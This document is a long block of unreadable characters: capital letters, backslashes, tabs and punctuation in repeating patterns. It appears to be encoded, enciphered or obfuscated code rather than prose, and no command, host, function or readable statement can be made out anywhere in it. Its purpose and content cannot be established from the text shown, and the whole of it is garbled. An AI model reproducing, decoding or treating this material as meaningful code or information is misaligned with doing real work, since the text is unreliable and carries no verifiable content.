TMDJIU!'XDEH#!UGvXMJMHH\A\\\	Gv\\\	Gv\\vSS\+,\/\>F\
\vv\\\\\\\\TLLIN	TMKMIUTU\Q\\\\TU\\X	ENKHI'
JNTMDJHU!\B\\TMKDKWMOU\  \\\\\TU\\\X	ENKHI'E#
NMNMTMDIIU!\\\\BA\TKQMUU\\vLHMMJKT
JNTMDIDUP\
JNTMDDMU\\R\\\\
JNTMKJMUTX	ENKHI'[[!UUGv\NN#		TX	ENKHI'[[!UGv	TXEODLE#O'
JNTMDJIU!'XDEH#!UGv\\\\XMJMHH\A\\\	Gv	Gv\\\\\\v\\\\\\\\\\\\TXMLK
\\@A\\\LU\\\\Gv\\\XMLK
QQGv\\X

	MLN\\A\\#JO
TMDDNU\\\R\\LLIN	TMDDOUTX	ENKHI'[[!U\R\#JO
TMDDHU\R\\LLIN	TMJEKUTTIMHIWEHDIIUP\TLDDKNEWLJMJUUGvTXLN	LI
P\\X
KIKHMU\\A\\\\MDN
OH	TX
NO\R\\\\\X

	MLNUGvvv\\\\\\\\\TXLN	LI
\B\\LU\\XH##\\\\A\Gvvvv\\\\\\\\\\\\TXLN	LI
\\\@A\\L\ZZ\\\\
JNTMDKEUT#JO
TMMIIUUU\LLIN	TMMIIUTNUGv\\\\\\TXLN	LI
\\\@A\LU\\\\v\TXLN	LI
P\\X
KIKHMU\\\\\A\\\MDN
OH	TX
NO\\\\R\X

	MLNUGv\\\\TXLN	LI
\\B\\\\LU\\\\\\XH##\A\\\Gvvvv\\\\v\\\\TXLN	LI
\@A\\\\LU\\\v\\\XEODLE#O'E#
NMNMTMDDIU!'XDEH#!'E#
NMNMTMDIIU!WWGX	O#JADDWKLGX#IEO	DK
#AX	O#JQOOGvvvvXMJMHH\A\	Gvvv	Gv\\\\\vvv\\\TXLN	LI
\\BA\TODLWMNLUU\\v\\\\\THMD#ODTX	ENKHIUU\\\\vvv\LHMMJKTE#
NMNMTMDIDUP\\\
JNTMDDJU\\R\\\#JO
TMDDKUTX	ENKHI'[[!UUGv\NN#		TX	ENKHI'[[!UGv\\\	TXEODLE#O'LLIN	TMDDIU!'XDEH#!UGv\\\\\\\\\\\\\v\XEODLE#O'#JO
TMDDIU!'XDEH#!'
JNTMDIIU!WWGv\\v\\XMJMHH\\\\A\\\\	Gvvvv\\	Gv\\\\\vv\v\TE#
NMNMTMDDDUTX
KIKHMP\\\\\#JO
TMDDEU\\R\\X	ENKHI'[[!\R\\\
JNTMDHKUU\\]AA\U\\v\\NN#		TX	ENKHI'[[!UGvvvv\	TXEODLE#O'#JO
TMDDIU!'XDEH#!UGv\\XMJMHH\\\\A\	Gv\	Gv\\\\vvv\\\\\\\TXMHMP\\X
NHM
U\\A\MDN
OH	TXOMKHDD	N\\\R\\T
JNTMDDDUTXOMKHDD	NP\\\\[C[U\\\\AAA\\\\\\C\\[C[\\F\\\\\[Z[U\\\R\\\#JO
TMDELU\\R\\\\\LLIN	TMDDOUTX	ENKHI'[[!U\\\R\
JNTMDDHU\\R\
JNTMJEKUTTEEEKDWNNUP\\\THLENIDWIELKHMUUUGv\\TXMHM\\B\\LU\XH##\\A\\\\\\Gv\\\\\TXMHM\\\BA\THDKWMOUU\\\\\vv\\THMD#ODTX	ENKHIUU\\\\v\\\\LHMMJKTE#
NMNMTMDIDUP\\LLIN	TMDEMU\\\R\#JO
TMDENUTX	ENKHI'[[!UUGv\\\\\\\NN#		TX	ENKHI'[[!UGv\	TXEODLE#O'
JNTMDDIU!'XDEH#!UGv\\\v\\XEODLE#O'E#
NMNMTMDEOU!'XDEH#!'LLIN	TMDIIU!WWGvv\\\vvv\XMJMHH\\A\\\\\\	Gv	Gvvvv\\\v\\\\\\\TE#
NMNMTMDNKUTX
NHM
U\\ZZ\\E#
NMNMTMDDDUTX
NHM
P\\\\
JNTMDDEU\\\R\\X	ENKHI'[[!\\\R\\\#JO
TMDEHUU\\]AA\\U\v\NN#		TX	ENKHI'[[!UGv\	TXEODLE#O'
JNTMDEOU!'XDEH#!UGvvvv\XMJMHH\A\\	Gv	Gvvv\vXEODLE#O'LLIN	TMDEOU!'XDEH#!'#JO
TMDIIU!WWGvXMJMHH\A\\\\\	Gv\\\\v\\\\\TXH##\ZZ\XMJMHH\\ZZ\\]TXEODLE#O'LLIN	TMDEIU!UU\\vvXDDM
\\\\A\\\Gv\\\\\\TXEODLE#O'#JO
TMDEJU!\\\\\\XJE#H
OU\v\\TTU\\XJE#H
O'
JNTMDEKU!\\BA\\\\TLNWLMUU\vv\\\\XDDM
\\\\\A\	Gvvv\Gvvvvv\\\\\TXDDM
U\\\\\vv<	#TE#
NMNMTMDHEUP\#JO
TMDEDU\\\\R\
JNTMKMIUTUP\E#
NMNMTMKMKUUGvLHMMJKTE#
NMNMTMDIDUP\\\\\#JO
TMDEEUUGv\\\\\\TXEODLE#O'#JO
TMELLU!\\\\\XK#DK
		I\AB\XJE#H
OU\\v\\\\\\NN#		TXJE#H
O'[[!UGv	TXEODLE#O'#JO
TMELLU!'XK#DK
		I!UGvv\\\v\\\\\\T]XH##U\vSS\\\\,4,\	vv\\\XKL	J	
\\\\\A\<#T#JO
TMELMUP\\^^UGv\\\\T]LLIN	TMELNUTXKL	J	
U\\\  \\\E#
NMNMTMDDDUTXKL	J	
P\\
JNTMELOUU\\]AA\LU\<	#TLLIN	TMELMUP\\#JO
TMELHU\\R\\\\LLIN	TMKMIUTUP\E#
NMNMTMKMKUUGvvvv\\v\\\\TTXEODLE#O'LLIN	TMELIU!UU\\<#T
JNTMDKIUUGvvvv\\\\\\\\\\\TXMJMHHU\\<	#TLLIN	TMDKIUP\\\XEODLE#OP\\\\#JO
TMKMKUUGv\\\\\v\	\\\\
M	JDDTX	LNJUvvv\\vv\	\\E#
NMNMTMELNUTX	LNJU\\\\\\ZZ\\\\T
JNTMDDDUTX	LNJP\\E#
NMNMTMELJUU\\]AA\\\\\\\\  \\LLIN	TMDDDUTX	LNJP\LLIN	TMELKUU\\]AA\\\  \LLIN	TMELDUTX	LNJP\\
JNTMIJOUU\\\\]AA\\\  \
JNTMELDUTX	LNJP\\\\
JNTMELEUU\\\\\\]AA\\\\\\\\  \#JO
TMELDUTX	LNJP\\
JNTMIEIUU\\\\\]AA\\\\\  \\\\
JNTMELDUTX	LNJP\#JO
TMEMLUU\]AA\\\\\\UGv\\v\\\\\	\\	KNKIJ	TX	LNJUv\\vSS\+,\>?F\Q\Qvvvv\\\\T]
M	JDDTX	LNJUU\\\\\\	\\Gv\\\\TH
	IOTX	LNJUU\	\\\	Gv\\TE#
NMNMTMDOKUTLLIN	TMEMMUP\X	LNJP\\\\\\XNNOMMUU\\\\vSS\+,\JRJ\\\\vv\\\\\TXNNOMM'M!\\\\XOLIMEO#U\\v\\\\\\T
#TXOLIMEO#P\\E#NDNTUP\\\[@[UU\\\\	\\	Gv\v	\Gv\v\\\\\	\\	GX	LLKIIAOKWIDGXKJIKJ
AX	LLKIIQOLGvvvv\\v\\\	\\\ILKO
EJJDTX#HKDUv\\\\\v\\T]<LLIN	TMKDOUTX#HKDU\  \\]<
JNTMJKMUTX#HKDUU\\	Gv\\\X
E	IDK\A\<E#
NMNMTMKIMUTX#HKDUGv\\\\\T]X
E	IDKU\\\	Gv\\TX
E	IDK\\\\B\TMLHDIKLOWIKUU\v\X
OO\A\<
JNTMKDIUTX#HKDP\\P\\	P\\LP\\\\TJIHIIWDMUUGv\\\T]
M	JDDTX
OOUU\\\\	Gv\\\\\\TEKONKLJDTX#HKDU\AAA\\\U\\\\\vLHMMJKT
JNTMEMNUP\\
JNTMEMOU\\\\\\R\LLIN	TMDENUTX#HKDUUGv	Gvvvv\v\\\\<E#
NMNMTMEMHUTX#HKDP\\^@C ^UGv\\\\\\\TLLIN	TMEMIUT#JO
TMDKOUUU\<#
TX#HKDP\\	UGv\	Gvv\TX
E	IDK\B\\TMLHDHEKWKEUU\v\\\XDEJKK
\\\A\TU\<
JNTMKDIUTX#HKDP\\P\	P\\\LP\\\TDMLLWENUUGvvvvX
IID	\A\\\\TX
E	IDK\\B\\\TDMKEWMOUU\\\\C\TU\\\\\<LLIN	TMKDIUTX#HKDP\\\P\\	P\\\\\\X
E	IDK\\\\Q\\\TDMJEWNOUU\\\F\^^Gv\X	ID
J\\A\\XDEJKK
\\\\\R\X
IID	Gv\\TX	ID
J\\]AA\\\^^\\ZZ\\#JO
TMDOKUTLLIN	TMEMMUP\\\X	ID
JP\\XEK#NN	UU\\\\vvvXHLH#
\A\\Gv\\\\\\\TXEK#NN	'M!\\\\\XOONKU\\\\\\vSS\3//0\O\
\	\vv\\\\\T
#TXOONKP\E#NDNTUP\[@[UU\\v\\\XHLH#
\\\A\	Gv\\\\\\\Gv\vvvv\\\\\\\\\\T]XHLH#
U\\\\	Gv\v\\\\\\v\X	LNJ\A\\<#JO
TMEMJUTX#HKDUGvvv\T#JO
TMELNUTX	LNJU\\ZZ\\\\E#
NMNMTMEMKUTX	LNJU\B\TLKIWLDLHUU\\X	LNJ\A\\\\#
	TX	LNJUGvv\\\\\\\\\T]
JNTMELNUTX	LNJUU\\\\\	Gv\\\\T]	KNKIJ	TX	LNJUU\\\	Gv\\	D

TX#HKDP\X	LNJUGv\\\v\	\\	D

TX#HKDP\\X	LNJUvvX
\\\\\A\\\E#
NMNMTMJHMUT
JNTMEMDUP\\^^P\\\\\\X	LNJUGvvvv\\\\\\\T]#JO
TMEMEUTX
U\\\\\\  \LLIN	TMKJOUTX
U\\AAA\^^\\  \\\LLIN	TMKJOUTX
U\\\\\AAA\\\\\LLIN	TMKHDUU\X
\\\\A\\\\^@C ^Gv\\T#JO
TMEMKUTX
U\\\BA\THEDWNU\ZZ\]LEIOTX
UU\\X
\\\A\\\\\^@C ^Gv\\\X	I#NJ\\\A\\\\\<TX#HKDUGv\X	I#NJ\A\\\TX	I#NJ\\AAA\\\\U\\C\\\TJEDQNKDU\\F\\\TX	I#NJ\\Z\THIKWIHUUGv\XOHDJ\A\<#JO
TMJIDUTX#HKDUGvvv\\\\\\X#LNKO\\A\<LLIN	TNHUTLLIN	TMOMNUTX#HKDUP\LLIN	TMENLUUGvv\\\\\\\\\\\TX#LNKO\AAA\U\\	Gv\\\\\T<LLIN	TMEMHUTX#LNKOP\X
U\\\]AA\\#JO
TMEMKUTX
UU\\\v\<LLIN	TKIJUTX#LNKOUGv\	Gv\\vSS\<\vv<#JO
TMKUTX#LNKOP\\X	I#NJUGv\T]<#JO
TMENMUTX#LNKOP\X#HKDUU\v\<LLIN	TKIJUTX#LNKOUGv\\\\\\\\	Gvv\\\\TXOHDJU\<#JO
TMEUTX#HKDP\\\\XOHDJUGv\\\\\TE#
NMNMTMEMIUTE#
NMNMTMDKOUUU\<#
TX#HKDP\\\\	UGv\\v\\\\\	\DHKKTXEDNLUv\\\\v\\\\\T]#JO
TMENNUTXEDNLUU\\\\	\^^Gv\\\\\\\T#JO
TMENOUTLLIN	TMENHUP\XEDNLP\X
LIK#UU\\\XLOKJ#AMEM DLGXEM#AXLOKJ#"NNNGvX	OKHKJ\A\\\\\X
LIK#'M!Gvvv\\\\X
E	IDK\\\A\\<E#
NMNMTMENIUTX	OKHKJU\\\C\\\<#JO
TMKIMUTX	OKHKJU\F\LGvvvv\\\\T]X
E	IDK\  \\X
E	IDK\\@\\THHKWIOU\  \\\\\X
E	IDK\\B\\TDDIDNEHIQOJMIHMHIUU\\\v\\\\\\TX
E	IDK\\\\\B\THLJNNIJDWMMDLJNONUU\\\\v\XELK#\\\\\A\\\\<E#
NMNMTMKDLUTX	OKHKJUGv\T]#JO
TMENNUTXELK#UU\\XELK#\\A\\\X	OKHKJGv\\\\\XELK#\\A\\\\
JNTMENJUT[  [P\\\\[S[P\XELK#UGvvvv\\XNJOOHE	\A\\\Gvvv\XJ
D\\\\\A\\TTLLIN	TMDOMUU\C\\E#
NMNMTMENKUT=>/,=(4P\
JNTMHELUU\\F\\\\\^^P\\\TE#
NMNMTMENDUU\\\\\C\#JO
TMENKUT+,#?32(92(#85.P\\\
JNTMENEUU\\F\\\^^UGvv\\\\\\\TXJ
D\\\\XOEIU\\\v\XOEI\A\\\\\E#
NMNMTMENJUT[  [P\[S[P\\\\\XOEIUGv\\\TXOEI\]AA\\^^\ZZ\\\
JNTMEOLUTXELK#P\\\XOEI\\\R\\[S[U\\\\AAA\LU\vvXNJOOHE	\A\\	Gv\Gv\\vSS\+,\.9/(\=,5\
NF\\vv\v\\\\TXNJOOHE	\ZZ\\\EKONKLJDTX	OKHKJU\\\]AA\\\\U\\vSS\1/-0\6/32\\\vXL
JE
	LLAMNO HHGX	I#NMK#AXL
JE
	LL"MDEGv\\\<
JNTKIJUTX	OKHKJUGv\\\\<LLIN	TKIJUT#JO
TMOMNUTX	OKHKJU\R\\\\\\E#
NMNMTMEJU\\\R\LLIN	TMEOMUTX	OKHKJP\#JO
TMJKOUUUGvv\\\\\\\v\LHMMJKT#JO
TMEONUP\\\\\
JNTMEOOU\\R\\LLIN	TMEOMUTX	OKHKJUUGv\\\v\\\v\\	\\\\^^Gv\\v\vvv\\\	\\\XEDNLGv\\\v\\\\	\\JLHKDTUv\v\\\X	OKHKJ\A\\	GXHNMKATLEWLMUGX#H	KLEEAXHNMKYOGv\\\\TX	OKHKJ\\\\AAA\	U\\v\\XLOMOE\\A\\NNHN	MTUGvX	OKHKJ\\A\\TE#
NMNMTMEOHUTXLOMOEU\\\\\ZZ\TXLOMOE'#JO
TJNDU!U\\ZZ\\
JNTMEOLUTTU\\\XLOMOE'
JNTJNDU!P\E#
NMNMTMEOIUU\\AAA\\LUGv\\v	\\\X	OKHKJGvv\\\\	\\\	EJDMHI	TUv\\\v\\T]T
JNTMDOMUUU\	Gv\\X	
HEIL\\\\A\\\\\\=>/,=(4\\R\\\LLIN	TMEOJUGv\\\\\T]<LLIN	TMENIUTX	
HEILUU\\v\\XLMN\\\\\A\\
JNTMEOKUT=>/,=(4U\R\E#
NMNMTMOMMUGv\\\T<E#
NMNMTMEODUTXLMNUU\X	
HEIL\\A\XLMNGv\v\\\\\\\\T]<#JO
TMEOEUTX	
HEILU\  \\]<LLIN	TMJKMUTX	
HEILUU\\	Gv\\\XELK#\A\\\<E#
NMNMTMKDLUTX	
HEILUGv\\\\T#JO
TMENNUTXELK#U\\ZZ\\\XELK#\\\\\]AA\\\\^^\\\\\\ZZ\\<
JNTMEHLUTXELK#UU\X	
HEIL\\\\A\\\\XELK#Gv\\\\\\\\\T<E#
NMNMTMKIMUTX	
HEILU\\B\\THMEHNDHWNLUU\\\\\	Gv\X	LNJ\A\\\\\\<#JO
TMEHMUTX	
HEILUGv\\\T]#JO
TMENNUTX	LNJU\  \\\\X	LNJ\AAA\\^^U\	Gvvv\\\XDLE\\A\\T
JNTMEOLUTX	LNJP\\\\\\
JNTMEHNUU\\]AA\\\\\\\\\  \\LLIN	TMEOLUTX	LNJP\E#
NMNMTMEHOUU\\\\]AA\\\\\\UGv\\X	IH\\A\\\\\GXME
ADIOHGX
KELAXME
YNGv\\\\TE#
NMNMTMEHHUTX	LNJP\\E#
NMNMTMEHIUU\\AAA\\\U\\\\vvvv\\\\\\\\\\\T]TX;03>=0/'E#
NMNMTMEHJU!UU\vX	IH\\\\A\	Gv\\\\\\\\\\\\v\\\\XEMLHHDM\\\A\E#
NMNMTMEHKUT
JNTMMHUU\C\#JO
TMMHUTU\\\\F\\#JO
TNJUGv\\T]<LLIN	TMOEMUTXEMLHHDMU\  \\]<#JO
TMEHLUTXEMLHHDMUU\X	IH\\A\\\\\\	Gvvvvv\\\v\\\\XDO#E\\\\A\Gv\\\\\\X#IKNE\\\\A\\\\\Gvvvv\\\\\\\\T]E#
NMNMTMENOUTE#
NMNMTMEHDUP\X	LNJU\\\\ZZ\\\T#JO
TMEHEUUU\\v\\\\\X#\\\\\A\+,#?32(92(#85.\\\\R\#JO
TMEILUGv\T<LLIN	TMEOEUTX#UU\\\\\\v\X	JH\\\A\\\\TU\\<LLIN	TMEIMUTX#P\\P\\\\	P\\LP\\TNOEHWMKLNUUGvvv\\\TLLIN	TMEINUTX	JHP\\\\\LLIN	TMEIOUU\\\]AA\\U\\\\XDO#E\A\\\	Gvv\\\\\\\\Tv\\\\#JO
TMEIHUTX	LNJP\\LLIN	TIKLUU\\AAA\\v\ZZ\\LLIN	TMENOUT
JNTMEIIUP\\X	LNJUv\\\\\\U\v\\X#IKNE\A\	Gv\\\\\\vvv\XN
IH\A\\\\Gv\\\\TJLHKDTUU\\\XDIHHH	ANNMDGXLNKDAXDIHHH	YKGv\\\Tv\\]E#
NMNMTMEIJUT#JO
TMEIKUP\X	LNJUv  \]E#
NMNMTMEIJUT#JO
TMEIDUP\\\\\X	LNJUv  \\\\\]LLIN	TMEIJUT#JO
TMEIEUP\\\\X	LNJUvU\XN
IH\\\\\A\\	Gv\\\\\\vvv\\\T]XDLE\\ZZ\\\]X	IH\\ZZ\\]XDO#E\ZZ\\]XN
IH\\ZZ\]X#IKNEU\\	GXKIADWJEGX#MMAXKIQEGvX
IJ\\\\\\A\\^^Gvvv\\\\X
\A\\X	LNJGv\\\TXDLEU\\vvvv\TLLIN	TMEJLUTLLIN	TMEJMUP\X	LNJP\\XNNDKKJUU\\\X
IJ\\\\RA\E#
NMNMTOKLUT^ ^P\\XNNDKKJ'L!UGv\X
\\A\\\\\LLIN	TMJHMUT
JNTMEJNUP\\^^P\\\\X	LNJUGvvv\\\\\\\\T]LLIN	TMENNUTX
UU\\\	Gv\\\TE#
NMNMTMEJLUT#JO
TMEJOUP\X
P\\XM#
HKUU\X
IJ\\\RA\^ ^\R\\
JNTMEJHUT^ ^P\\XM#
HK'L!UGv\X
\A\\\E#
NMNMTMEJIUT
JNTMEJJUP\\^^P\\\\\\X
UGv\\\\T]E#
NMNMTMEJKUTX
UU\\\	Gv\\\\v\\TX	IH\\\\\\ZZ\
JNTMEIJUT
JNTMEJDUP\\X
UU\vv\\X
\\\\\A\#JO
TMEJIUT#JO
TMEJEUP\LLIN	TMEKLU\\\\\R\^T\[+,#(91,#85.[P\T\T\[+,#?32(92(#85.[\U\C\+,#?32(92(#85.\F\=>/,=(4\R\[Q[\U\R\[SR#[\UG ^P\X
P\MUGv\\\T]LLIN	TMEJKUTX
UU\\\\\	Gvvv\\\\\v\\\\TXDO#E\\ZZ\\\\\
JNTMEKMUT#JO
TMEJDUP\\\\\X
UU\vX
\\\A\\\\\#JO
TMEJIUTLLIN	TMEKNUP\\\\\E#
NMNMTMEKLU\\\\\R\\\^T\[+,#?=?49[P\	\UG\SV\/?#+?\VS ^P\\\\\X
P\\\\\MUGv\\\\T]LLIN	TMEKOUTX
UU\\	Gv\\\\\\\\\TX#IKNEU\\\v\X
\\\A\\\E#
NMNMTMEJIUTLLIN	TMEKHUP\\\\E#
NMNMTMEKLU\\R\^T\[+,#?=?49[P\	\UG\SV\/?#+?\VS ^P\\\X
P\MUGv\\\\\\\\\T]
JNTMEKIUTX
UU\\\\	Gv\\\v\\TXN
IHU\\v\\\\\\\X
\\\\A\#JO
TMEKJUT
JNTMEKKUP\^^P\\X
UGvv\\\\T]E#
NMNMTMEKDUTX
UU\\\	Gv\\\\\\T
JNTMEKMUT
JNTMEKNUP\X
UU\X
AQDELGXK#IATX
BLUCX
FQX
Gv\\\\\\\X
\A\\LLIN	TMEKJUT
JNTMEKNUP\\\\#JO
TMEKLU\R\\^T\[+,#89>);[P\	\UG T\[+,#89>);#03;[P\	\UG T\[+,#89>);#85/,0=%[P\\UG ^P\\X
P\MUGv\\\\\T]
JNTMEKEUTX
UU\	Gv\\\\\vv\\\\v\\\TX
\AAA\\X	LNJU\	Gv\\\\\\\T]LEIOTX
UU\\\\\	Gv\\\TXDO#E\ZZ\\]NJ
NK#OETX	
HEILP\\X	LNJUU\v\\LHMMJKT
JNTMEDLUP\
JNTMIJMUUGv\\\X
\\A\LLIN	TMEDMUTE#
NMNMTMEDNUP\LLIN	TMEDOUP\\X
P\\\MUGv\\T]
JNTMEKEUTX
U\\\  \\\\X
\AAA\\X	LNJU\\\	Gvvv\\\T]LEIOTX
UU\\\	Gv\\vv\\\\\X	I#NJ\\A\\<TX	
HEILUGvX	I#NJ\A\TX	I#NJ\\\\AAA\\\\\\U\\\\C\\THLOWMKU\F\\\TX	I#NJ\\\\Z\\\TDHKQOOJUUGv\\XOHDJ\\\A\\<LLIN	TMJIDUTX	
HEILUGv\\\\\X#LNKO\\\A\\<LLIN	TMEDHUTLLIN	TMEOKUTX	
HEILUP\\\LLIN	TMEDIUUGvvv\\\\\\\\\TX#LNKO\AAA\\U\\\	Gv\\\\\\T<LLIN	TMEMHUTX#LNKOP\X
U\\]AA\\\E#
NMNMTMEMKUTX
UU\\\\X		DA,4,#52(#1=$S,4,#52(#1=$GXHEEAX		DWMGv<E#
NMNMTKIJUTX#LNKOUGv\\\\	Gv\\\\\\\\v<#JO
TMKUTX#LNKOP\\\X	I#NJUGv\\\\\\\T]<LLIN	TMEDJUTX#LNKOP\\\X	
HEILUU\\v\\\\\<#JO
TKIJUTX#LNKOUGv\\	Gvv\\TXOHDJU\\<LLIN	TMEUTX	
HEILP\\\\\XOHDJUGv\\\\\\\T
JNTMEHKUT#JO
TMDKOUUU\<#
TX	
HEILP\	UGv\\\\\\\TLLIN	TMEJLUTE#
NMNMTMEDKUP\X
IJP\X#JEUU\vvvv\T#JO
TMNDJUTX#JE'M!U\\\XD	U\v\\\TLLIN	TMEDDUTXD	P\LLIN	TMEDEUU\AAA\\\\\L\ZZ\\\<#JO
TMEOEUTXD	UU\\<
JNTKIJUTXD	UGvvv\\\\v\\\\\TLLIN	TMEHKUTLLIN	TDEOUU\\ZZ\\\\#JO
TMEJLUTE#
NMNMTMEELUP\\\X
IJP\\\\XH#	UU\\vvv\\\\\\\TE#
NMNMTMNDJUTXH#	'M!U\\\XLOMU\\\v\\\\\TLLIN	TMEKMUTLLIN	TMEEMUP\XLOMUU\\\\\<#TXLOMUGv\v\\\\\\v\\vv\	\\\DMJ
MKTUvv\\\\vv\\\\\\\\\T]TE#
NMNMTMEHEUUU\\\	GvXM\\\\\\A\\T
JNTMEENUU\\\\C\\+,1)#,0);52#85.\\\\\F\\\+,#?32(92(#85.\\\\\R\\#JO
TMIUGv\XHLJ\\A\\\TUGv\\\\T#JO
TMEHKUTE#
NMNMTDHJUUU\\\vvv\\\\\\T<
JNTMOEMUTXMUU\\\\TTU\\<
JNTMEEOUTXM\R\LLIN	TMEEHUU\\\\\\XL
##I
NU\\XHLJ'!\\\\\A\\\XL
##I
NGv\\\\\TT
JNTDNNUU\\ZZ\\<#JO
TMOEMUT+,#,0);52#85.UU\\\\\\\TTU\\\<LLIN	TMEEOUT+,#,0);52#85.\R\\LLIN	THDJUU\\\\\\\XL
##I
NU\\\\\XHLJ'!\\A\\\\\XL
##I
NGvvv\vXHJNID	N\A\T
JNTMDOMUU\C\=>/,=(4\\\F\^^Gvvvv\\X	NI\\A\\+,#?32(92(#85.\\\\R\#JO
THIU\R\\LLIN	TMEEIUTE#
NMNMTMDOIUTXHJNID	N\R\\\LLIN	TMODUUP\\LP\\\TMNH"MMJUU\\\\R\\\E#
NMNMTHDU\\\R\
JNTMEEIUTLLIN	TMDOIUTXHJNID	N\\\R\\E#
NMNMTMEEJUUP\\LP\\TNLI"MEKUU\\R\\
JNTMEEKUGv\\\\\\\T<#JO
TMEOEUTX	NIUU\\XHLJ'!\\\A\X	NIGvv\\\\\\TXHLJ\\\XL
##I
NU\\v\\XOHDJ\A\\<E#
NMNMTMJIDUTXL
##I
NUGv\T]XOHDJ\  \\TXOHDJ\\\Y\\TMHMMHIQHMMHIUU\]AA\\TEOKKDWHMUU\\v\\\\\XJD\\\\A\\\<LLIN	TMKIMUTXL
##I
NUGv\\T]XJD\\\\  \\\XJD\\\@\\THJEWOMU\\\  \\XJD\\B\TLHELWLNHONKLUU\	Gv\\\\\v\\XELK#\\\\\A\\\\<LLIN	TMKDLUTXL
##I
NUGv\XIE\A\\\<LLIN	TMKDLUTEIITUUGv\\T
JNTMEKEUTXELK#U\\\\\\ZZ\
JNTMEKEUTXIEU\\\\\ZZ\\\XELK#\\\AAA\XIEU\\\	Gv\XJL\\\A\\\\\<#JO
TMEIMUTXL
##I
NP\\P\\	P\\\LP\TLIWLMOUUGv\T]E#
NMNMTMEEDUTXJLU\\  \\E#
NMNMTMEDDUTXJLP\\\E#
NMNMTMEMLUU\\AAA\\\U\\\	Gvvv\\\\\\\\\\T]E#
NMNMTMEKMUT
JNTMDLIUP\\\XJLP\\\XEK#NN	UU\\\\\\	Gv\T]
#TXEK#NN	'M!P\\\\\E#NDNTUP\\[@[UU\\	Gv\\\\\X\\\A\\EKONKLJDTXL
##I
NUGvv\\\\\\TX\AAA\\\\\U\\\\\\v\\\\\LHMMJKTE#
NMNMTMEONUP\\
JNTMEEEU\\\\\R\\\\LLIN	TNLLLUTXL
##I
NUUGv	Gv\\v\\TX\AAA\	U\v\TIHMOTXL
##I
NP\\XL
##I
N\\\\\\R\\\E#
NMNMTNLLMUUU\\\\vSS\\Q\\+,\9\>vvv\T
JNTNLLNUT#JO
TMDKOUUU\\<#
TXL
##I
NP\\\	UGv\vSS\\	vv\\\<#JO
TKIJUT#JO
TNLLOUTXL
##I
NU\R\
JNTMEJU\\\R\\
JNTNLLLUTXL
##I
NP\\E#
NMNMTMEEKUUUGv\\	Gvv\\\\\<#JO
TKIJUTXL
##I
NUGvvv\<#JO
TKIJUTLLIN	TNLLHUTXL
##I
NU\\R\\\\\
JNTMEJU\\\\R\\E#
NMNMTNLLIUTXL
##I
NP\\\LLIN	TMEEKUUUGv\\\\\\T
JNTNLLNUTE#
NMNMTMDKOUUU\\\<#
TXL
##I
NP\\\\	UGvv\\\\\\\	EJDMHI	TUGv\\XOEI\\A\\\+,#?32(92(#85.\R\LLIN	TMNIDUGv\\T<#JO
TMOEMUTXOEIU\\ZZ\
JNTNLLNUTE#
NMNMTNLLJUUU\\vvv\\TTU\\\\<E#
NMNMTNLLJUTXOEI\R\#JO
TNLLKUU\\\XM
JMHEU\v\\\\\\\\\T]<LLIN	TMEOEUTXM
JMHEU\  \\\\\\]<E#
NMNMTMEHLUTXM
JMHEUU\\\	GvX#	DO\\\A\\<LLIN	TNLLDUTXM
JMHEUGvvv\\\\T]X#	DO\\\\\  \X#	DO\\B\\\\TNLEKLKJWKJUU\\\\	Gv\X
ODEMKDI\A\<E#
NMNMTMEIMUTXM
JMHEUGv\\\T]E#
NMNMTNLLEUTX
ODEMKDIUU\\\\\\	Gvvvv\\\TE#
NMNMTMEDDUTX
ODEMKDIP\#JO
TMELKUU\\\\AAA\\\\\\\\\ZZ\\E#
NMNMTMEDDUTX
ODEMKDIP\\E#
NMNMTNLMLUU\\\AAA\\\\ZZ\LLIN	TMEDDUTX
ODEMKDIP\
JNTNLMMUU\AAA\\\U\	Gv\\\T]
MLTX
ODEMKDIUU\\\	Gv\XHMI\\\A\\\\\	H
H	
ETX
ODEMKDIUGvvvv\\\\\TE#
NMNMTNLMNUTXHMIU\\\\ZZ\\XHMI\\\]AA\X
ODEMKDIU\\\\v\HH#EOMTXM
JMHEP\XHMIUGvv\\\\\\\TLLIN	TNLLNUT#JO
TMDKOUUU\<#
TXM
JMHEP\\\\	UGv\v\\\\\\\v\\\vILKO
EJJDT+,#?32(92(#85.\R\\LLIN	TNLMOUUGvILKO
EJJDT+,#?32(92(#85.\\R\
JNTIHHUUGv\\TE#
NMNMTNLLNUT
JNTMDHLUU\ZZ\#JO
TNLLNUT
JNTNLMHUU\ZZ\\
JNTNLMIUTLLIN	TNLMJUUU\\vX#\\\\A\\ENMIT=>/,=(4\\R\\\
JNTMIOKUP\TLMWLEUUGv\XNKH
\\\A\\\<#TX#P\\\^^UGvv\\\\TE#
NMNMTNLMKUTXNKH
U\\\ZZ\XNKH
\\]AA\\\\\^^U\\\\v\\\\\XOEI\\\\A\
JNTMIHHUTXNKH
P\\	UGv\\\\\\T
JNTNLMDUTXOEIU\\ZZ\\\\NM
KI	TXOEIUU\<#TX#UGXEDNAENLNGXENOAXEDNYMIGvvv\\\v\\\\XLHMK\A\\\
JNTNLMIUTLLIN	TNLMEUU\C\\\NEDNT#JO
TDDKUP\^^U\F\\\^^Gv\\\\\T
JNTNLMDUTXLHMKU\\\ZZ\\XLHMK\\]AA\\^^\ZZ\\TE#
NMNMTMEMKUTXLHMKU\B\\\\\TMLHDIJJWMLU\  \\\T#JO
TNLNLUT
JNTNLNMUU\ZZ\	HLOLI
TXLHMKUU\\\  \\\\H
	IOTXLHMKUUU\\\\\\v\\\\\\\TLLIN	TNLNLUT
JNTNLNNUUU\\D#NEKT#JO
TNLNOUP\\\\^^P\\\#JO
TMKMKUUGv\\v\\\\vv\\\\\v\\\\\\\	\\\\\	IL#OH#HOTUv\\\vvv\\\\\\\v\\\\\\\\\T]TLLIN	TMDOMUUU\	Gvvvv\T]TX;03>=0/'#JO
TNLNHU!UU\\\\vSS\\\	vv\\\\X;03>=0/'E#
NMNMTNLNHU!\\A\LGX

LAQHMHGXIKEATX

LBLUCX

LFQX

LGvvvLHMMJKTLLIN	TNLNIUP\E#
NMNMTNLNJUUGv\v\\\\\\\T]TX;03>=0/'LLIN	TNLNKU!UU\	Gvvvv\X;03>=0/'E#
NMNMTNLNKU!\\\\\\A\\\	Gv\\\\\T]TX#;9('
JNTMDOEU!U\ZZ\E#
NMNMTNLNLUTE#
NMNMTNLNDUU\\\\ZZ\E#
NMNMTNLNLUTE#
NMNMTMDHJUUU\v\XDOENK\A\\<#T#JO
TMDKIUP\TUUGvXLNMKE
\A\Gv\\\\\\\\\\\T#JO
